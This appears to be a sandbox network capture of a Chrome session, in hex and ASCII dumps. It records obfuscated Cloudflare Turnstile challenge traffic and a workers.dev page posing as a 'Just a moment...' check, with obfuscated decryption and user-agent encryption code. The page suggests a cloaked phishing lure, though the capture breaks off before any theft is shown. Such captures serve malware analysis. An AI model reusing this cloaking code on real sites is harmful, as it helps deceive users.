2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 46 3d 65 4d 5b 68 70 28 39 34 35 29 5d 5b 68 70 28 39 31 39 29 5d 3f 27 68 2f 27 2b 65 4d 5b 68 70 28 39 34 35 29 5d 5b 68 70 28 39 31 39 29 5d 2b 27 2f 27 3a 27 27 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 63 61 74 63 68 28 47 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 31 30 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 71 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 68 71 3d 67 4a 2c 65 3d 7b 27 58 4d 63 46 56 27 3a 68 71 28 31 31 37 32 29 2c 27 4d 4a 42 51 44 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 27 55 61 63 56 53 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 28 66 3d 64 Data Ascii: F=eM[hp(945)][hp(919)]?'h/'+eM[hp(945)][hp(919)]+'/':'';continue}break}}catch(G){}},eM[gJ(1052)]=function(d,hq,e,f,g,h,i,j,k,l,m){(hq=gJ,e={'XMcFV':hq(1172),'MJBQD':function(n,o){return n>o},'UacVS':function(n,o,s){return n(o,s)}},d instanceof Error)?(f=d
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 69 2c 64 2c 65 2c 67 29 7b 28 69 69 3d 67 4a 2c 64 3d 7b 27 55 53 74 53 6e 27 3a 69 69 28 31 33 33 31 29 2c 27 65 68 69 53 56 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 21 3d 3d 67 7d 2c 27 69 52 7a 69 57 27 3a 69 69 28 31 35 37 30 29 2c 27 4c 4b 75 6c 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 73 6e 61 45 74 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 76 6b 57 67 6f 27 3a 69 69 28 32 34 30 29 2c 27 44 56 47 70 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 69 69 28 38 34 31 29 5d 2c 65 26 26 65 5b 69 69 28 31 35 38 31 29 Data Ascii: ,function(c,ii,d,e,g){(ii=gJ,d={'UStSn':ii(1331),'ehiSV':function(f,g){return f!==g},'iRziW':ii(1570),'LKulJ':function(f,g,h){return f(g,h)},'snaEt':function(f,g){return f===g},'vkWgo':ii(240),'DVGpn':function(f,g){return f(g)}},e=c[ii(841)],e&&e[ii(1581)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49757	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:07 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3344 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:07 UTC	3344	OUT	Data Raw: 76 5f 39 30 32 38 32 37 30 35 38 38 38 65 34 33 35 37 3d 44 55 48 33 69 33 39 33 59 33 54 33 50 4f 47 6e 4f 47 45 33 4f 4b 73 74 36 31 4b 47 38 4f 7a 7a 47 51 24 47 73 76 33 4f 71 47 34 33 73 48 31 73 5a 71 48 47 56 79 71 47 61 62 4f 6d 44 47 6c 33 4f 45 48 47 73 4d 58 55 30 78 47 4d 74 47 52 47 4f 55 47 4d 48 63 76 47 24 47 30 76 73 7a 47 74 76 79 48 47 59 47 34 55 47 39 36 31 36 79 50 6b 4a 35 56 24 56 6d 6a 47 4d 6b 58 47 38 33 79 65 52 32 68 47 61 49 4e 47 44 52 31 57 6f 72 32 6e 30 4a 56 77 77 75 47 77 48 47 41 4a 4b 47 24 72 48 37 6a 47 73 32 74 47 4f 2d 47 44 4c 4a 43 44 67 31 56 44 37 63 5a 62 4c 43 41 6d 43 70 71 50 74 47 56 67 69 2d 48 78 67 4c 46 33 73 70 34 34 46 55 6c 77 24 70 4c 4d 34 47 33 4a 79 64 74 34 76 68 77 76 30 4d 7a 34 52 30 4a 33 Data Ascii: v_90282705888e4357=DUH3i393Y3T3POGnOGE3OKst61KG8OzzGQ$Gsv3OqG43sH1sZqHGVyqGabOmDGl3OEHGsMXU0xGMtGRGOUGMHcvG$G0vszGtvyHGYG4UG9616yPkJ5V$VmjGMkXG83yeR2hGaINGDR1Wor2n0JVwwuGwHGAJKG$rH7jGs2tGO-GDLJCDg1VD7cZbLCAmCpqPtGVgi-HxgLF3sp44FUlw$pLM4G3Jydt4vhwv0Mz4R0J3
2025-01-15 19:08:07 UTC	751	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152940 Connection: close cf-chl-gen: XGdykFRmG3N1Kxza2xqWk8T1Se6JU8ESs1CFkEs5UhGQ4gPInvmj8QBCgzD8lXY8xsrBRgVmrITDUjQh+S3SQKtm5MwmsGD4vEPGyHei+wHegP4xqYbso9wltYlmUIUvVy8uUCozYwhfnbzKlitWG/mNv9GvEEWG0Y0cFOi7//bzL/ltTqgGEsNu6xiYXBniKEwD8lAds0fvg73V2vJNpNFNzrkLl4vJQKJRKoWmyTHim2prouvmOV2a3yYnAExV9eAw5YVTtEWbHg+CoHbG290aKLABmSVyiZEcVS2Nu8dp3unUBmFZiQIUPNOhjqnN7HW/HStmeX9kvJNkLcY+MYVcYRyv9jNKrwGPTrVSPIUUUZkdQOPQ2wcWccqi6Leq36TIJmCnq8G4TfB4Zx0SGq7WmBw+jfuilpoJRlXjB76yB6SIdFIROnndxWaJxjKBWz/W3Hi2mUB5D/GOXBMUgEFEhnj0J9B0k0aBtUj3keM=$2slal7OLZrzcp++WSGHkWQ== Server: cloudflare CF-RAY: 90282710387841ac-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:07 UTC	618	IN	Data Raw: 59 6e 74 59 69 6f 6c 53 62 6d 31 4e 56 4a 68 6f 59 35 47 47 64 6d 39 6f 66 34 39 76 6f 6d 75 61 65 57 53 65 63 70 69 42 67 57 4a 71 6c 36 47 61 62 61 4b 7a 62 4a 2b 30 6a 36 71 4a 75 6f 61 4e 69 5a 69 33 76 71 7a 43 6f 6f 43 51 6a 6f 2b 6b 74 73 66 48 6a 4c 6d 33 74 36 66 4c 73 4c 2f 42 31 4d 69 34 6c 35 50 56 33 4e 75 57 32 36 37 49 6e 61 4b 68 33 61 44 5a 32 4d 6d 35 78 36 66 47 79 71 61 72 79 73 76 4f 71 2b 44 51 36 4d 54 46 30 4f 66 6d 73 2f 66 6f 33 72 69 37 2f 76 6a 78 30 74 76 53 43 65 6a 47 43 65 67 4f 34 67 58 63 45 75 59 52 37 68 4c 79 46 74 48 75 30 68 66 6b 39 42 58 30 38 51 4c 32 47 42 54 31 34 51 50 38 34 75 51 43 4a 53 73 44 48 66 77 75 48 43 30 45 38 2f 55 50 41 7a 6f 51 4a 68 55 36 50 42 44 39 4e 67 77 38 46 54 34 62 47 7a 51 37 2f 45 6f Data Ascii: YntYiolSbm1NVJhoY5GGdm9of49vomuaeWSecpiBgWJql6GabaKzbJ+0j6qJuoaNiZi3vqzCooCQjo+ktsfHjLm3t6fLsL/B1Mi4l5PV3NuW267InaKh3aDZ2Mm5x6fGyqarysvOq+DQ6MTF0Ofms/fo3ri7/vjx0tvSCejGCegO4gXcEuYR7hLyFtHu0hfk9BX08QL2GBT14QP84uQCJSsDHfwuHC0E8/UPAzoQJhU6PBD9Ngw8FT4bGzQ7/Eo
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 55 6f 4f 46 30 64 49 6a 31 54 48 53 49 6e 59 7a 56 45 51 54 31 42 54 55 35 43 57 31 73 2f 61 47 6c 57 61 7a 67 34 5a 48 46 6d 56 56 31 2b 61 55 35 36 67 47 42 35 61 45 56 48 64 6d 52 61 59 59 52 48 5a 6b 78 39 57 30 70 70 67 47 75 48 6b 6d 70 54 63 32 70 55 6a 6f 69 5a 57 6f 47 58 6f 6e 35 32 70 56 74 38 66 4b 61 67 6f 33 6d 51 71 5a 4f 75 5a 6e 47 46 6b 35 6d 76 75 5a 79 4c 62 37 2b 5a 72 72 69 58 6f 59 53 37 74 71 50 45 71 49 4f 35 76 4b 75 75 76 38 53 70 6d 71 48 51 7a 4e 62 4a 71 61 62 45 30 62 50 49 6c 35 6e 50 31 4c 36 37 31 74 6a 46 6f 4f 58 42 76 4d 50 4c 77 38 50 4e 32 64 4b 76 34 38 4c 6f 77 74 53 33 36 75 36 37 36 39 48 6f 30 74 37 53 31 4e 72 51 34 67 48 6c 78 2b 51 48 78 50 37 4e 39 2f 6e 35 7a 77 7a 4f 36 65 51 4d 31 64 4c 69 36 66 59 59 47 Data Ascii: UoOF0dIj1THSInYzVEQT1BTU5CW1s/aGlWazg4ZHFmVV1+aU56gGB5aEVHdmRaYYRHZkx9W0ppgGuHkmpTc2pUjoiZWoGXon52pVt8fKago3mQqZOuZnGFk5mvuZyLb7+ZrriXoYS7tqPEqIO5vKuuv8SpmqHQzNbJqabE0bPIl5nP1L671tjFoOXBvMPLw8PN2dKv48LowtS36u6769Ho0t7S1NrQ4gHlx+QHxP7N9/n5zwzO6eQM1dLi6fYYG
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 77 51 68 35 56 59 46 31 6f 4b 44 35 6e 52 69 70 67 51 30 46 73 4e 48 51 70 5a 6a 5a 6a 62 44 64 61 64 6c 59 34 57 31 64 33 51 6c 70 61 5a 55 4a 63 52 49 70 45 65 30 42 69 59 56 31 2b 58 6c 4e 68 6b 4a 46 75 61 48 53 4e 6b 30 2b 49 6b 33 4f 56 59 4b 43 59 65 70 71 49 66 57 4f 4c 5a 4b 69 61 6e 47 71 45 67 49 47 79 70 4b 2b 33 69 6f 61 57 70 70 75 73 66 48 61 52 6c 4c 61 65 77 49 32 4f 75 4a 69 51 71 49 71 65 6c 71 4b 4a 6e 4b 44 48 6f 63 69 66 70 4b 43 31 31 36 72 54 78 70 61 39 73 72 2b 66 6d 4e 44 62 6f 4d 53 6a 35 4b 62 48 70 4f 54 6a 32 62 76 4e 35 65 32 76 79 64 4b 73 37 75 79 30 38 63 33 53 75 4d 76 61 38 73 72 4d 75 39 33 2b 34 64 50 64 30 38 6e 6a 35 4f 44 48 39 2b 30 4b 33 2b 48 66 36 42 59 50 44 51 48 57 45 42 4c 59 31 75 30 55 47 66 4d 4f 47 4f Data Ascii: wQh5VYF1oKD5nRipgQ0FsNHQpZjZjbDdadlY4W1d3QlpaZUJcRIpEe0BiYV1+XlNhkJFuaHSNk0+Ik3OVYKCYepqIfWOLZKianGqEgIGypK+3ioaWppusfHaRlLaewI2OuJiQqIqelqKJnKDHocifpKC116rTxpa9sr+fmNDboMSj5KbHpOTj2bvN5e2vydKs7uy08c3SuMva8srMu93+4dPd08nj5ODH9+0K3+Hf6BYPDQHWEBLY1u0UGfMOGO
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 5a 57 70 71 4b 31 42 70 58 47 35 47 4c 54 4e 70 4d 58 63 35 4e 6e 6f 31 61 33 31 75 61 7a 73 38 55 6a 2b 46 58 6e 78 43 66 57 42 58 64 34 39 73 67 32 70 72 67 32 52 4f 62 59 65 4f 56 6d 2b 51 62 5a 6d 48 6a 4a 57 53 57 59 2b 6c 66 32 47 44 71 4b 4b 65 72 4a 79 44 71 59 4f 49 68 4b 75 49 68 71 68 30 6c 4c 53 34 72 62 47 53 6c 33 31 32 6c 4b 44 41 6a 4a 6d 43 6b 5a 65 5a 6b 5a 6d 68 6d 4b 62 49 78 63 54 51 79 38 2b 55 7a 49 2b 4a 79 4b 32 32 73 38 36 35 75 72 4b 36 76 70 72 58 74 61 37 52 32 73 43 6f 31 61 50 57 36 4d 33 50 72 64 2f 64 37 71 37 42 77 38 6a 42 37 2f 48 38 2f 50 76 4c 39 67 44 66 79 2f 54 37 31 73 2f 36 38 41 6e 69 30 2f 6b 45 78 67 2f 6f 44 4f 62 30 79 74 34 52 37 75 4c 57 42 4f 54 6e 35 51 63 52 33 42 6f 69 32 52 55 55 46 66 4d 44 43 39 77 Data Ascii: ZWpqK1BpXG5GLTNpMXc5Nno1a31uazs8Uj+FXnxCfWBXd49sg2prg2RObYeOVm+QbZmHjJWSWY+lf2GDqKKerJyDqYOIhKuIhqh0lLS4rbGSl312lKDAjJmCkZeZkZmhmKbIxcTQy8+UzI+JyK22s865urK6vprXta7R2sCo1aPW6M3Prd/d7q7Bw8jB7/H8/PvL9gDfy/T71s/68Ani0/kExg/oDOb0yt4R7uLWBOTn5QcR3Boi2RUUFfMDC9w
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 6a 4d 72 51 7a 55 30 53 53 74 71 62 58 4e 6d 50 47 39 76 65 46 39 72 67 59 41 39 51 6a 36 48 67 56 74 38 64 32 64 42 63 58 6d 42 69 32 43 49 64 35 61 4d 59 58 53 55 6e 57 56 6e 6f 46 35 78 6e 6f 39 68 6c 48 32 42 6d 70 78 2f 69 6e 6c 70 6c 34 61 68 71 32 75 6a 73 70 53 41 71 6f 75 50 6d 37 57 63 6c 35 71 7a 76 37 37 42 76 35 47 50 6d 38 53 64 76 73 53 46 74 73 36 39 69 37 75 4b 68 49 2b 47 7a 73 6d 51 78 4e 69 32 75 73 32 34 73 5a 69 70 6f 62 6a 69 34 64 7a 51 7a 36 43 68 36 64 58 66 33 4f 66 58 34 37 37 65 30 65 6e 67 39 65 48 46 73 38 54 4b 32 2b 6e 50 38 2f 4f 36 77 65 44 55 75 2f 7a 44 39 4e 6a 72 77 77 6e 6b 2f 73 6a 37 38 4f 62 77 43 65 34 4a 30 51 4d 54 35 65 72 6b 48 69 41 56 43 2b 45 6a 34 2b 4d 47 39 68 30 44 39 53 66 68 43 4e 2f 72 4c 42 72 71 Data Ascii: jMrQzU0SStqbXNmPG9veF9rgYA9Qj6HgVt8d2dBcXmBi2CId5aMYXSUnWVnoF5xno9hlH2Bmpx/inlpl4ahq2ujspSAqouPm7Wcl5qzv77Bv5GPm8SdvsSFts69i7uKhI+GzsmQxNi2us24sZipobji4dzQz6Ch6dXf3OfX477e0eng9eHFs8TK2+nP8/O6weDUu/zD9Njrwwnk/sj78ObwCe4J0QMT5erkHiAVC+Ej4+MG9h0D9SfhCN/rLBrq
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 31 49 56 6b 70 59 55 6a 68 30 4e 31 5a 32 58 46 39 2f 59 45 65 4b 64 47 42 43 51 34 36 43 61 48 39 38 53 6f 6c 6f 6a 4a 4f 58 68 48 6d 59 6d 59 79 59 65 6e 31 32 61 70 71 57 67 6f 46 6d 64 4a 61 43 6d 59 75 6c 5a 6f 69 51 72 5a 43 47 66 6d 2b 77 73 37 65 6a 70 33 4b 78 6b 4c 53 37 76 36 79 67 77 4d 47 2f 66 4b 69 42 78 4c 61 6c 69 49 4f 4c 72 62 76 4d 6f 71 43 30 71 4e 57 34 72 5a 4f 72 32 64 76 62 72 36 66 53 7a 4f 48 42 7a 63 32 76 31 37 62 62 70 71 66 65 74 65 37 67 71 4c 72 68 37 4c 44 46 7a 4f 75 7a 36 4c 4c 55 79 4f 6a 4a 75 2f 7a 63 38 66 66 56 76 76 50 56 39 38 54 31 79 65 49 4c 43 4f 6f 44 41 41 55 55 7a 65 2f 6d 33 78 6f 53 2b 42 45 51 39 41 6f 41 2f 66 4d 4d 33 2f 45 5a 2b 52 63 65 4b 41 67 74 49 2b 58 72 4b 2b 33 6a 42 69 41 72 41 41 34 70 4e Data Ascii: 1IVkpYUjh0N1Z2XF9/YEeKdGBCQ46CaH98SolojJOXhHmYmYyYen12apqWgoFmdJaCmYulZoiQrZCGfm+ws7ejp3KxkLS7v6ygwMG/fKiBxLaliIOLrbvMoqC0qNW4rZOr2dvbr6fSzOHBzc2v17bbpqfete7gqLrh7LDFzOuz6LLUyOjJu/zc8ffVvvPV98T1yeILCOoDAAUUze/m3xoS+BEQ9AoA/fMM3/EZ+RceKAgtI+XrK+3jBiArAA4pN
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 2f 50 55 74 5a 54 33 78 6a 5a 49 64 47 58 33 69 43 57 6b 6d 49 69 34 75 51 54 4a 4a 7a 61 6c 4a 50 55 6f 68 6d 6b 6f 39 36 63 5a 70 66 65 49 42 79 6b 5a 31 32 6f 35 39 38 6f 6f 32 74 69 48 65 5a 6f 59 6c 38 63 6d 36 31 73 4b 2b 74 63 37 4f 4f 65 71 65 35 6b 58 71 51 77 59 2f 45 77 37 33 48 77 63 71 30 6c 49 79 66 68 63 36 2f 75 34 6e 42 6c 4b 4b 69 78 35 65 59 70 74 6e 58 33 37 58 61 79 75 4c 64 32 62 62 65 76 35 2b 37 75 39 66 58 37 75 75 74 35 39 36 79 38 62 47 2f 36 76 48 4b 35 64 62 31 39 63 66 33 39 65 48 50 75 66 6e 74 33 73 58 69 38 39 67 41 33 65 6a 6b 33 73 58 4a 2f 41 62 2b 33 77 58 33 2b 4e 41 4a 35 2f 6f 53 39 68 2f 2b 32 75 6f 61 41 52 6e 79 45 52 4d 48 42 79 77 47 43 77 6b 59 4d 4f 73 67 4b 51 67 4c 46 67 6b 4d 4a 78 51 37 4d 6a 59 32 45 7a Data Ascii: /PUtZT3xjZIdGX3iCWkmIi4uQTJJzalJPUohmko96cZpfeIBykZ12o598oo2tiHeZoYl8cm61sK+tc7OOeqe5kXqQwY/Ew73Hwcq0lIyfhc6/u4nBlKKix5eYptnX37XayuLd2bbev5+7u9fX7uut596y8bG/6vHK5db19cf39eHPufnt3sXi89gA3ejk3sXJ/Ab+3wX3+NAJ5/oS9h/+2uoaARnyERMHBywGCwkYMOsgKQgLFgkMJxQ7MjY2Ez
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 61 48 43 46 61 6c 36 49 52 32 4a 49 6b 58 35 49 55 6f 74 6c 5a 6d 56 4f 68 46 4e 56 6a 48 71 53 69 58 75 67 62 6f 4e 7a 63 70 2b 49 63 61 42 6d 58 57 6d 65 5a 71 57 72 66 6e 35 70 6a 71 65 6e 6a 6f 61 73 71 70 78 30 69 58 70 33 76 4a 43 34 73 36 57 33 6c 4a 65 56 6e 4d 65 31 6d 4a 75 6c 6a 73 53 4f 6b 4a 43 71 69 38 36 55 78 4a 4f 5a 6b 64 6e 61 79 70 69 67 30 37 71 77 72 64 4c 41 6e 39 50 48 33 4f 48 6d 71 63 65 70 33 38 4b 75 33 63 58 31 30 74 58 6c 35 50 50 52 7a 38 76 55 79 77 48 51 2f 41 44 33 32 2b 51 47 78 72 2f 39 78 76 6e 64 43 52 44 67 42 41 73 41 41 38 2f 67 46 52 59 44 36 75 51 4d 2b 68 4c 36 48 69 48 36 44 41 44 68 35 52 6a 33 36 41 44 6b 36 51 4d 72 43 53 6b 74 4e 50 41 65 4d 44 67 50 49 77 6e 79 43 7a 55 6f 4f 76 77 52 2b 68 49 2b 46 79 34 Data Ascii: aHCFal6IR2JIkX5IUotlZmVOhFNVjHqSiXugboNzcp+IcaBmXWmeZqWrfn5pjqenjoasqpx0iXp3vJC4s6W3lJeVnMe1mJuljsSOkJCqi86UxJOZkdnaypig07qwrdLAn9PH3OHmqcep38Ku3cX10tXl5PPRz8vUywHQ/AD32+QGxr/9xvndCRDgBAsAA8/gFRYD6uQM+hL6HiH6DADh5Rj36ADk6QMrCSktNPAeMDgPIwnyCzUoOvwR+hI+Fy4
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 33 68 67 57 58 39 72 62 57 53 42 62 34 42 53 56 6f 2b 63 68 5a 64 71 6e 35 69 51 6a 31 70 39 70 59 43 66 71 4a 65 49 61 71 4e 39 66 6f 43 64 6a 34 79 50 72 4a 57 30 63 32 36 55 72 35 69 32 71 72 71 53 69 4c 69 72 6c 4a 61 38 77 49 2b 52 75 35 69 61 6a 4c 6a 4b 68 35 32 36 75 73 65 78 76 64 4f 4a 31 36 7a 59 79 72 57 7a 75 4c 53 37 6e 71 32 75 7a 74 58 48 33 62 6e 6c 32 75 58 4e 70 73 4b 70 7a 2b 6a 4e 73 2f 47 6e 31 71 36 31 2b 4f 37 57 72 75 62 6f 35 2b 72 35 32 2f 6a 31 30 41 44 30 32 50 54 49 2f 4f 7a 71 7a 76 34 48 45 68 49 45 2f 50 55 4c 31 65 7a 32 39 51 30 49 44 78 62 5a 48 42 73 67 33 52 37 6a 48 4f 45 6c 45 78 66 6e 47 65 50 6f 47 67 62 73 48 41 2f 73 2f 67 4d 56 37 7a 55 57 39 44 6f 4d 4b 78 66 36 47 42 63 2f 49 78 6c 42 47 6a 77 31 49 79 63 6f Data Ascii: 3hgWX9rbWSBb4BSVo+chZdqn5iQj1p9pYCfqJeIaqN9foCdj4yPrJW0c26Ur5i2qrqSiLirlJa8wI+Ru5iajLjKh526usexvdOJ16zYyrWzuLS7nq2uztXH3bnl2uXNpsKpz+jNs/Gn1q61+O7Wrubo5+r52/j10AD02PTI/Ozqzv4HEhIE/PUL1ez29Q0IDxbZHBsg3R7jHOElExfnGePoGgbsHA/s/gMV7zUW9DoMKxf6GBc/IxlBGjw1Iyco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49758	104.21.92.176	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:07 UTC	380	OUT	GET /favicon.ico HTTP/1.1 Host: c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:07 UTC	786	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1j53tqhKt9hIOEk2v1MkX2f8XXD3lPGFd5BKIzDgCMyc1Pu%2BLuYzEj4NvPK5ruBoRPtzs%2Ftqf6A6jcq8aOCJXtIGaoRFhK%2F3jNyQaJiRDVHUfoELL8D5QvvHEA5dg6CzZzdIW4Jw6jPgGTHcWofpgHdbGHQqx8zqRfFauaZLPC4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9028271119f843f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1723&rtt_var=651&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2898&recv_bytes=958&delivery_rate=1675272&cwnd=217&unsent_bytes=0&cid=3c8e065612540158&ts=175&x=0"
2025-01-15 19:08:07 UTC	583	IN	Data Raw: 31 36 36 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 20 0a 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 0a 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 Data Ascii: 166b<!doctype html><html lang="en-US"><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-sc
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 65 6b 65 79 3a 20 22 30 78 34 41 41 41 41 41 41 41 34 35 68 55 4c 4f 37 6b 43 33 4f 78 75 6f 22 2c 20 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 3a 20 76 65 72 69 66 79 43 61 6c 6c 62 61 63 6b 5f 43 46 2c 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 3b 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 68 68 32 28 65 6e 63 72 79 70 74 65 64 54 65 78 74 2c 20 73 68 69 66 74 29 20 7b 0a 20 20 20 20 20 20 6c 65 74 20 64 65 63 72 79 70 74 65 64 54 65 78 74 20 3d 20 22 22 3b 0a 20 20 20 20 20 20 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 65 6e 63 72 79 70 74 65 64 54 65 78 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 20 63 20 3d 20 65 6e 63 72 79 70 74 65 64 54 65 78 74 5b 69 5d 3b 0a 20 20 20 20 20 Data Ascii: ekey: "0x4AAAAAAA45hULO7kC3Oxuo", callback: verifyCallback_CF, }); }; function hh2(encryptedText, shift) { let decryptedText = ""; for (let i = 0; i < encryptedText.length; i++) { let c = encryptedText[i];
2025-01-15 19:08:07 UTC	1369	IN	Data Raw: 73 65 6e 64 52 65 71 75 65 73 74 28 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 75 73 65 72 41 67 65 6e 74 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 3b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 45 6e 63 72 79 70 74 65 64 55 73 65 72 41 67 65 6e 74 20 3d 20 45 6e 63 72 79 70 74 28 75 73 65 72 41 67 65 6e 74 2c 20 50 55 42 4c 49 43 5f 4b 45 59 29 3b 0a 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 53 65 6e 64 69 6e 67 20 72 65 71 75 65 73 74 20 77 69 74 68 20 65 6e 63 72 79 70 74 65 64 20 75 73 65 72 2d 61 67 65 6e 74 3a 27 2c 20 45 6e 63 72 79 70 74 65 64 55 73 65 72 41 67 65 6e 74 29 3b 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 6c 65 74 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b Data Ascii: sendRequest() { const userAgent = navigator.userAgent; const EncryptedUserAgent = Encrypt(userAgent, PUBLIC_KEY); console.log('Sending request with encrypted user-agent:', EncryptedUserAgent); let xhr = new XMLHttpRequest();
